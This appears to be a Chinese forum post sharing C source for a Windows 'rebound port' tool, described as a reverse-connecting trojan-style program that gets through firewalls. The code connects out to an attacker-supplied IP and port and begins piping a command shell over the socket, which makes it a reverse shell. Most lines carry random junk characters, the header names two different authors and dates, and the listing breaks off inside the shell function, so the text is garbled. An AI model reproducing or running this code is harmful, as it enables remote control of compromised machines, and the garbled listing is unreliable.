这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]@Zj-n8
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/* ============================== FK+jfr [
Rebound port in Windows NT "Tfb d^AU
By wind,2006/7 >.zk-`>-
===============================*/ *6=[Hmygi
#include cMtkdIO
#include +:oHI[1HG
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#pragma comment(lib,"wsock32.lib") jaNkWTm:
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void OutputShell(); [}+
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SOCKET sClient; (bZ)pW/iw
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8R-?x/:
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void main(int argc,char **argv) fr:RiOPn
{ Yuh t<:`
WSADATA stWsaData; 5 {'%trDEy
int nRet; P\w.:.2
SOCKADDR_IN stSaiClient,stSaiServer; jJg
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if(argc != 3) m&o&XVC
{ PcJ,Y\"[
printf("Useage:\n\rRebound DestIP DestPort\n"); szWh#O5=
return; #d__
} +tl THK
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WSAStartup(MAKEWORD(2,2),&stWsaData); >Rx^@yQ!+z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uVIs5IZzIi
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stSaiClient.sin_family = AF_INET; ZJI|762,
stSaiClient.sin_port = htons(0); V.:imj
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |'1[\<MM3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v{&cgod
{ u:"mq.Q
printf("Bind Socket Failed!\n"); 8 =J6{{E
return; |W{z,e01x
} $t[`}I
}
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stSaiServer.sin_family = AF_INET; 2NI3&;{4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); epz2d~;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); mltN$b%G=d
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) t'FY*|xk
{ fWF\V[
printf("Connect Error!"); mp!6MO Q
return; n T\W|
} @P[Tu; 4
OutputShell(); qnruatA
} 4l>/6LNMF
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void OutputShell() IjJ3./L!5
{ QT^W00h
char szBuff[1024]; wnhac}
SECURITY_ATTRIBUTES stSecurityAttributes; w^z}!/"]u
OSVERSIONINFO stOsversionInfo; >/}v8k 1v
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b pExYyt
STARTUPINFO stStartupInfo; wrw~J
char *szShell; n16,u$|
PROCESS_INFORMATION stProcessInformation; zj"J~s;?
unsigned long lBytesRead; D.U)R7(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JdFMSmZ@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~Ui<y=d
stSecurityAttributes.lpSecurityDescriptor = 0; =Tb~CT=
stSecurityAttributes.bInheritHandle = TRUE; ?$
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